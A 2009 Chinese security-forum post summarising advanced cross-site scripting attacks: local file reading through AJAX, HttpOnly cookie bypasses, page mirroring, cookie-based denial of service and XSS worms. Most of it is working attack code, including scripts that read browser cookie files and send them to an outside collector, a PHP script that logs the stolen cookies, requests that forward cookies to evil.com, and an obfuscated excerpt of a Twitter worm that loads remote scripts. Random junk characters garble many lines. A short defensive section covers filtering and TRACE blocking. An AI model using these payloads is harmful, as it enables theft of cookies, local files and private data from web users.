XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
* m- }7 o! X4 v! Y2 f本帖最后由 racle 于 2009-5-30 09:19 编辑
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0 g/ E0 Z' ], w, q+ zXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页% r- x: Z. ^+ k1 [' m0 V% I; W! b
By racle@tian6.com
2 x D( {! X; @; N9 rhttp://bbs.tian6.com/thread-12711-1-1.html
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' A3 W, b( y7 L. r: G7 ~; Z" _3 B-------------------------------------------前言---------------------------------------------------------
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本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.: `2 P5 p, z- d% n5 X
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如果你还未具备基础XSS知识,以下几个文章建议拜读:! y+ h I* m7 t
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介6 Z$ }, p3 D6 `* x" Q
http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
7 H% F; u K0 J; \5 lhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
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http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码4 d. b! J- W5 a8 v8 z
http://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
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, R4 ?0 V' Z9 W$ ^0 D$ _3 ]如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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9 s8 u3 e9 T, q/ d5 g1 x5 A' u希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高." q- l& T0 T' {2 u9 v+ T! D
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如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
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' L' n2 E; M J. G4 G6 ^Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大
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/ A( r1 T6 T& m: W' R" sQQ ZONE,校内网XSS 感染过万QQ ZONE.
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5 P& r/ l3 D9 B% mOWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
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复制代码------------------------------------------介绍-------------------------------------------------------------
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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. p0 m! A3 [' S( p# `6 I$ a跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.& [; \, q6 _' G3 o' z
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如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
/ X. Z3 Q5 K5 r6 J" R8 s复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
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1 通过XSS,我们能实现什么?
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! E, D) s# h2 [; a2 V8 ~, m2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?2 x6 J6 n% u# J
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3 XSS的高级利用和高级综合型XSS蠕虫的可行性?, ?" R5 v: P) S. s, m5 C L8 h N; R
0 B; I5 V" h: u4 XSS漏洞在输出和输入两个方面怎么才能避免.+ d; j: g! i) J/ z: Q/ O7 v
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8 F* {+ E6 e3 A y------------------------------------------研究正题----------------------------------------------------------0 W" h8 y) c! c& r
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.: P* u7 H u" t0 U# V* F
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫) `' C, D) z2 m; `, e I" z
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.- R7 s( @. l* q- \- p# V
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.. O% U8 r- l0 e9 r6 W: C @
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.: y: Q$ d d% a0 D4 d6 s# C- O4 b- }
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.: C' ]3 t$ G3 |! m9 \: }3 T
4:Http-only可以采用作为COOKIES保护方式之一.
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g4 V+ e2 n) u(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)- @3 P6 w8 u9 }" l& F A/ Y# ^
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我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!), Q1 H; i+ p; {# s" d5 O) v$ _! T
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2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。9 w: I2 A, X0 I7 C n+ F1 j
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4 M: \! X9 J& g" U6 |: W 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
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# l% E7 r e0 F! N 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
( d5 }1 ]* i) F5 r复制代码IE6使用ajax读取本地文件 <script> u, N* F. G6 G! ^ Y
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var request = false;' a- K0 H( o7 a" U& j2 M
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if(window.XMLHttpRequest) {$ D$ p' |* n- t, P' ^7 x0 j
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} else if(window.ActiveXObject) {
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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try {
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return request;
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}
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var _x = ajax_obj();
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_x.open(_m,action,false);
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");! J/ m: B) C8 q/ ~
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}
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alert(txt);( t! X/ X* m! n q1 A- J
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</script>6 B) B' M6 t6 A* V/ M" d
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>
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function ajax_obj(){
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. }; p! |& \1 g7 q var request = false;6 b7 T2 K) R) z3 |# H( z6 D5 M2 ^
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if(window.XMLHttpRequest) {1 i+ z7 }( V2 K
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request = new XMLHttpRequest();
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',6 }: q) O9 |4 F2 _% _) ?3 M: \
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for(var i=0; i<versions.length; i++) {8 U# T" F0 v' W2 S
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request = new ActiveXObject(versions);
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} catch(e) {}% V: b+ m r( k: a6 |
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}
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return request;
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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return _x.responseText;
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var txt=_7or3("GET","1/11.txt",null);
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</script>
$ |' B4 q' \, ?6 p复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
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Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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/*
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Chrome 1.0.154.53 use ajax read local txt file and upload exp 5 f) ~) G$ x. m# H5 X8 G) N
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www.inbreak.net 3 I3 E, o8 I- D- I! U" R0 k& e
s" p _. _ b3 }" q author voidloafer@gmail.com 2009-4-22 . [% }1 | v6 [, i
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http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
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*/
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) _$ K) ?1 k$ [1 k4 K/ nheader("Content-Disposition: attachment;filename=kxlzx.htm"); " |" J. l' r8 t* ] k/ x7 r0 b
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header("Content-type: application/kxlzx"); 0 `# q# P9 k) i- w# i
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/*
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*/
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?>
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
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8 E- i4 J9 P" \$ w' L! L! o+ \* W <input id="input" name="cookie" value="" type="hidden">
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6 m) T3 p( y( P</form> S4 k5 R2 n0 p p- O" V
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<script> 8 [' d& U1 m3 {: W) \
& F. R4 _% v, H5 h, Ffunction doMyAjax(user)
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{
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var time = Math.random(); # b/ E6 J* [1 a9 f$ l# s* t
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/*
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, |) N2 ^- [- g8 K+ w) c5 u) Q' jthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
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and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History + Q) M2 E5 l! |% W3 q
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and so on... 7 O9 T/ G0 E2 O3 ]8 E
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*/
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var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; 1 q! D- h; b; X
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% T) q+ x3 m! J3 m$ ystartRequest(strPer); 1 ^6 e6 t& x) y0 ^ {
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* c( s) a5 T3 Z, q8 s7 K- s% vfunction Enshellcode(txt) $ a9 H! J2 X+ k) J6 f
6 x6 w) P) k) _# Y1 ~3 W* K
{
+ @) p& y3 M) o" ]! f* _- o. z( \. Y, {
var url=new String(txt); % u- a- N0 g# E# R
; R; y# `' {3 L% D; Zvar i=0,l=0,k=0,curl=""; 1 k2 g' p- w% J" w
+ ~4 O2 Y2 m, Ul= url.length;
# K$ F# K3 n2 Q" V% \9 b
* w# c5 K& k- u/ yfor(;i<l;i++){ 6 m& o2 S, W" x7 C' _
" k1 \* F6 J! ^) ^5 E. N7 S$ Yk=url.charCodeAt(i);
+ `; N2 c1 }+ L- e6 F* q2 d6 {7 L! U# b6 T
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
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if (l%2){curl+="00";}else{curl+="0000";} + p0 A( v: M+ P2 @& Y
& W; s2 ?/ ]4 H
curl=curl.replace(/(..)(..)/g,"%u$2$1");
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, d0 u% l# }$ R/ ^$ mreturn curl;
+ G n6 J3 m/ r: W" g$ y
. X) S; _/ k8 C2 P8 {}
6 o6 |, I( f. Z' P' X0 {* ~* ?$ {3 T* F* s: J/ O- O
6 n# d" U* B0 a; w5 P% u
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7 C0 h4 E0 i! `3 o( Z0 Mvar xmlHttp; $ I5 Z5 C, G& G& W
" M) Q( E$ @) h; M( ?* m
function createXMLHttp(){
9 I1 `/ h3 `1 }; u) a) c, ]- }, v: s8 c/ `: o; [
if(window.XMLHttpRequest){ $ u; }7 ]. l" b/ J4 c. K) R
1 b$ O5 c5 h$ S; j; Z3 O0 u: RxmlHttp = new XMLHttpRequest(); & }, J, h1 Z3 o* y8 _! L3 W8 M; c
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}
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else if(window.ActiveXObject){ $ \, L7 ~# a/ j* L2 G
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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}
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}
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, g% S) H2 V: [' h4 Q+ Gfunction startRequest(doUrl){ h' q9 A3 j$ G/ u3 q+ |8 R
# s, [" h& {- ^% X% y M
7 [0 p* Q' E' l# ^
5 Y9 l# c* e4 e! S) e2 t+ p% k createXMLHttp(); 3 E6 _5 c. V2 e" w0 R
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xmlHttp.onreadystatechange = handleStateChange; $ s N, L; K. Y3 \ b! k( I
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8 `2 G! e H$ p! I3 o. x" G, B6 a
/ `2 \$ K2 G) I6 ]4 `/ j- F. M xmlHttp.open("GET", doUrl, true); 3 P$ W' Z- V; A4 m& Y+ I# R
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xmlHttp.send(null);
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} , F5 v0 y6 S. J! b' e9 n& A6 x: S- F
+ D- u) N$ {' Q, I) T
' \2 O% } B- k1 l# [: c8 r/ a- O" h& F* `% \& Y& A5 P0 z a$ S w
function handleStateChange(){
8 i4 v. ]- K3 U( @& ~
& c8 l* { |& v W. w7 J5 Y& m if (xmlHttp.readyState == 4 ){
6 @* p. |+ `2 v; |$ _" t% r- \/ U* B/ U! u( r. [3 j. H2 }
var strResponse = "";
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2 z' Y& a6 G) K! [/ k3 G setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); $ B! a* r$ Y* [6 E
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}
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} ) ?; h9 _. a% ]# V3 P
6 {- H" T& f" s U6 N5 g* l. b
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6 L9 u- K1 l# p/ h0 Yfunction framekxlzxPost(text)
" J9 w9 |. s0 f. T: r! f- R9 R+ Z1 U7 i. V6 [4 {6 K
{
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/ x/ y1 Z# v! ^ document.getElementById("input").value = Enshellcode(text);
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' T. A3 z8 b4 v" O y7 b( Z document.getElementById("form").submit();
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3 z7 k3 |' T5 F4 ]6 c: P& c+ XdoMyAjax("administrator");
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</script>! q& d% A" U7 J8 K+ R: n/ `( T
复制代码opera 9.52使用ajax读取本地COOKIES文件<script> 6 Q s& [ Z1 S
4 F" t6 n2 [$ v/ N; Z, p( ]var xmlHttp;
& t! E4 W4 Q7 { D! g7 ^6 z4 G% d3 P: F9 w0 J' c; `& x: G; D
function createXMLHttp(){
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if(window.XMLHttpRequest){
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# P: ^; c! n9 ~, C xmlHttp = new XMLHttpRequest();
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} ! _* V2 k/ u0 k- R7 ?* {2 |
2 p/ z% L* L- K7 R% k else if(window.ActiveXObject){ 7 }* B' _" U7 p/ Y( x7 Z
# j) f+ ?2 J$ m I; Q6 w2 Q xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); / }0 p( {) R% ^) s
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function startRequest(doUrl){
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% }) C. Z$ Y/ |! j# L) M
createXMLHttp(); 4 x, `2 I! w5 e
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xmlHttp.onreadystatechange = handleStateChange;
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xmlHttp.open("GET", doUrl, true);
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, ^+ b) K" j8 U! ^. f xmlHttp.send(null);
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2 f# T0 {5 r V! v+ T}
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function handleStateChange(){ : K% _. g. K5 X8 p8 R# N4 a
7 h4 }+ ?) a# T4 d' N
if (xmlHttp.readyState == 4 ){
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var strResponse = "";
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! I( \7 J8 h$ _# y% `; j7 } setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000); ' a" |( O& L( k$ v+ U9 J
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5 t1 T' z9 m( U8 E/ H9 Z" G
& r) X2 ?# T$ ~: J7 n# _* ^
} ' z3 o6 N! H9 E- t9 Q9 @
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1 s. {+ o: M- z 5 J# n- z1 v* W" S$ |
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function doMyAjax(user,file) 1 x- G, }$ Y- a7 U/ ?
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{ / ?3 k* s; r3 h
* P @: J2 n% P0 \0 C9 u var time = Math.random(); ) x% M6 w; S7 e3 R# e
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0 n* ~$ }5 L3 w6 b M" ^ var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; 0 V3 Y3 h1 L; w4 B' U( g
+ i; P7 E7 i. T+ Z
2 I9 A& S: t0 B: A
" T+ Z8 _1 b; c" A$ i0 m/ F startRequest(strPer);
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6 e/ h& q3 _7 }4 i
) ]5 k3 M) _8 W* q+ Q0 S}
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1 ]5 t) t! G+ }6 X7 R
function framekxlzxPost(text)
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{
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; n5 l. B' i3 h- e1 D- o document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); + \, J4 q- E6 x" |
! n$ D; J3 {4 B: U/ P- }4 D1 C alert(/ok/);
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} 3 U# v' ?8 F& r
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8 {$ M/ y, Z, `8 Z+ FdoMyAjax('administrator','administrator@alibaba[1].txt');
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N" @5 O" {! C+ O+ ?9 l4 C
0 A5 s6 }; D7 T% M</script>
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+ R1 P B h8 P' k3 x0 k
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a.php
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q$ |- O# W' ]% \' ?( j; h3 b' v3 G$ T& ^/ }3 `
4 p: z% y' Y, `/ o<?php
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1 w4 G* u$ ]: ]% a% y7 B# b0 x% h0 t4 T5 |! |7 {
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
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( d, ]5 i5 e6 ?, z0 n6 ?1 ?$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; . i4 A |: C% O) X$ A# U
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4 ] T; Z6 u2 p+ Y+ m/ X- v( U$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
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fwrite($fp,$_GET["cookie"]); / |& K$ A2 x$ c% E& n
4 q" W K. Q8 Q. s5 Q5 e9 tfclose($fp); / j0 a7 V# e" e$ Z' {# D& G+ J6 @1 Z: X
; [" \- N: y& s2 R1 B" |?>
4 X. E @9 W2 D, }6 K& r, { i复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:8 V5 H( ], x$ d9 v* Z6 [! d- ?2 `: u
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或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.. n1 H! R1 P% t5 z. e
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
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代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
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" ?+ A: X, V o O& k0 \: i$ w+ E6 s//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
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' b0 U. L2 |. ]3 x6 N//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
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; V2 L& a4 h6 R$ y0 B3 Nfunction getURL(s) {
+ ? k1 d7 L( ]' `. B2 ~: b3 v! \+ ]
, l, z1 B- j3 J0 xvar image = new Image();8 |4 H) M% s$ j3 g
, S. c6 i; r0 o( {, \2 ?5 Gimage.style.width = 0;
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2 f0 g W' g! D0 ~ l6 Jimage.style.height = 0; ]* l4 r' u- X' `: d+ X( b6 @- f
1 u0 a" B9 g* a: himage.src = s;+ N6 ]7 x4 t) f* t; K" O
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1 x. n2 K2 m9 g* m. H. h3 VgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
, E) G9 k, Q! j" p复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.# t: W2 j( |# n( z- K1 j& a/ P
这里引用大风的一段简单代码:<script language="javascript">
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var metastr = "AAAAAAAAAA"; // 10 A
/ |6 }3 ]9 \6 n' ?2 F5 i* [/ c. x# ?: L% t L- h3 J9 ?
var str = "";& F$ d0 A3 Q3 H6 a
4 t% w8 n8 y# Nwhile (str.length < 4000){$ @) A% I) C: V4 O; o8 [: {2 V
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str += metastr;
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+ P- [6 t9 k, v% B! j}
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3 x; }& J7 M" t5 V1 f4 V
9 U( ?, T6 k) s; o7 idocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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( `9 X0 I& x1 `</script>. g1 j( n% n. K- Y# A
& X$ r$ X6 f! H! k详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
4 j. w7 ~8 g( M" D复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
7 n8 w: V* p: R/ j# B$ K1 Nserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
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假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.. ?- r- Y Z r- \
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
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(III) Http only bypass 与 补救对策:) A& y- K* S7 w2 Z0 w$ h! |
$ V6 j, R" w, L0 i6 Z什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.
3 d& U/ d) c1 l9 D# j) E' F$ u以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
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<!--% ~1 @1 k4 X# k/ A3 X
( W O' {8 h2 s3 zfunction normalCookie() {
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& I* E+ ^; ^( } Y/ N; Gdocument.cookie = "TheCookieName=CookieValue_httpOnly"; 0 F, Y; y( i& a4 i0 ^/ Q: i
9 s+ Q- A* Z: ?* xalert(document.cookie);
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}% ^- r8 f3 q; m( O( n* x( Q
& s. p1 B$ u; M
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3 y4 S! W( B! j9 [
G* J8 x8 h; @, Wfunction httpOnlyCookie() {
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document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; 8 o3 e: w3 F8 Q( b9 \. I
6 N: \3 q9 p- nalert(document.cookie);}5 C5 Y0 @7 w4 m: c3 G7 W+ Z
6 q3 }* @' L% k% p+ F
3 D* ]" [2 b0 C
9 B4 B- e4 f- ^' q//-->
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5 W$ d2 q# c3 G& \. {! h) F7 E" c</script># k0 A9 I* M5 Q N
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<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
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3 M* w) d3 S J7 o/ J<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>. Y6 _. k3 o" @" m6 b
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>% J% h& C; C2 A" K7 c0 ~
5 A, k9 K8 U; n. y9 X) |& Y$ j# [. m( \% k3 |4 j1 ~$ E+ T; I
! ]' U: o! X+ j m- Ovar request = false;
8 ^7 T1 Y; A0 T$ m' c+ x
( X0 M" c- l. g# L0 Y& @8 J* Z if(window.XMLHttpRequest) {
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: {1 B) A: R3 ^& [ request = new XMLHttpRequest();% T. I, O. {) p' _: Q4 o5 ~( k
5 H/ } H5 m. I7 ~0 y! i1 ^. i+ C if(request.overrideMimeType) {
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" [" S8 r. B4 d5 ] request.overrideMimeType('text/xml');) H7 ~: R3 P4 @) C% L, k
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}- D4 R! w# Q% i; B4 z
; w! u- x/ X- `! p4 U' l. H A } else if(window.ActiveXObject) {
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" p A( R- w7 d5 I# c var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];: Q+ T% z7 Q2 H- T8 @5 @
% H9 n4 @' h! o& t Z& T! g for(var i=0; i<versions.length; i++) {
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try {$ ]8 M4 e) m! r5 O
! H" j& J" I! v W% i request = new ActiveXObject(versions);; _# u" e5 D; y. q4 C
3 l4 o9 X) a" g7 N } catch(e) {}
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: ~9 b. e( |$ y5 n* a) u
4 m: W4 s" p! V7 Z3 a: G- a% z: pxmlHttp=request;2 F# Z( J# z* C( E1 Z
4 P7 j4 l/ y( |/ l" M! v% txmlHttp.open("TRACE","http://www.vul.com",false);
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) o* \$ R/ o7 H+ CxmlHttp.send(null);2 Q+ F4 h9 N b1 F+ _" ]& Q
) s4 A; R2 f+ ^; l+ x9 BxmlDoc=xmlHttp.responseText;
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) e( R. _; ?* N! a+ I* Zalert(xmlDoc);
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& e7 q7 F$ } o</script>
) t% c- @. I/ n1 S6 Q1 L复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>; v6 i f- a% G+ y! s
& [$ V1 z; B. Q9 N! H, g# dvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");" R) I# p- u" K+ r( ?
: Y0 p4 R6 k) V9 t: i9 J/ N& ]7 ]& v i
XmlHttp.open("GET","http://www.google.com",false);+ o: g0 g1 F* C5 _" X5 |! Q5 H
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");$ \$ Y) _* \1 K8 A5 H& R$ O
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XmlHttp.send(null);
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var resource=xmlHttp.responseText
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resource.search(/cookies/);
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- H" x" w3 `1 b+ M( ~$ E$ w......................, N1 I% \& P" u$ u, `
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</script>! e! S% T$ L: M( R
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+ ~( @/ Y+ F/ j5 e4 M! P4 n+ I% t W2 ` T( l! l; e# X1 Y U
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
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0 c' v- e7 U% O; q' T- V[code]; D7 A" J9 A( N) Q: |- w' }
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RewriteEngine On
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RewriteCond %{REQUEST_METHOD} ^TRACE
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" m( d/ G5 J# @6 E2 mRewriteRule .* - [F]+ \0 b' [( U2 l$ G ]: L# m
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Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求4 Z+ ~. N# v+ r; Z. ~
, i' v7 `0 }7 @/ `: P4 P; v- Tacl TRACE method TRACE
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5 s* }" N: t- O# C/ O/ p) `http_access deny TRACE
% N+ d0 e% h3 D3 p复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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5 t( ]- L+ F, sXmlHttp.open("GET","http://www.google.com",false);1 X! e7 g; V& t# L0 c. m1 f* d
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");. K$ q+ J. m" n5 z' _
7 L/ Q2 Y9 W* L; AXmlHttp.send(null);
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</script>
$ F# F- L. d1 M' ]3 ]( o复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");9 [3 ^7 ~4 L% g+ z/ v* c* i3 X
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! z- V/ l9 c/ ]; sXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
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XmlHttp.send(null);/ N) R1 S6 R7 q! ^' z7 m3 d% a3 G& r8 }" @
; H, W- n- C3 F" T/ I' V<script>' H5 i% I! C1 f
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.% u, h* V; @" L1 a3 T! M# t
复制代码案例:Twitter 蠕蟲五度發威
% ~ }! f1 A# V# t D4 j( Z第一版:& f% ]+ {8 o; U% d2 H: J; u
下载 (5.1 KB)( P5 m% g* O2 l; M
4 y1 X9 O5 C( N6 z6 天前 08:27
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4 w8 d' A. m2 T0 S# F2 G+ A+ a第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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+ n) h: F7 t1 @# i
3. function XHConn(){
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8 M4 _ p4 _3 P. ^( ? @+ k 4. var _0x6687x2,_0x6687x3=false;
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+ c4 N, z0 Z1 i! \ 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } 5 E' K0 |- A# q4 g ~" \( e2 M3 \5 @
: O4 x. K# W% p/ K 6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } ' a4 q1 i8 |- m) H( A k2 \- Y
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7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
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( o) j. p# p& ^6 y: D# Q 8. catch(e) { _0x6687x2=false; }; }; }; 2 S! Z1 o( P9 q
复制代码第六版: 1. function wait() { / U$ y4 S4 p: K3 l7 x) Y
' V. }8 N! C8 g 2. var content = document.documentElement.innerHTML; * ^& J$ c- p( O* y6 m
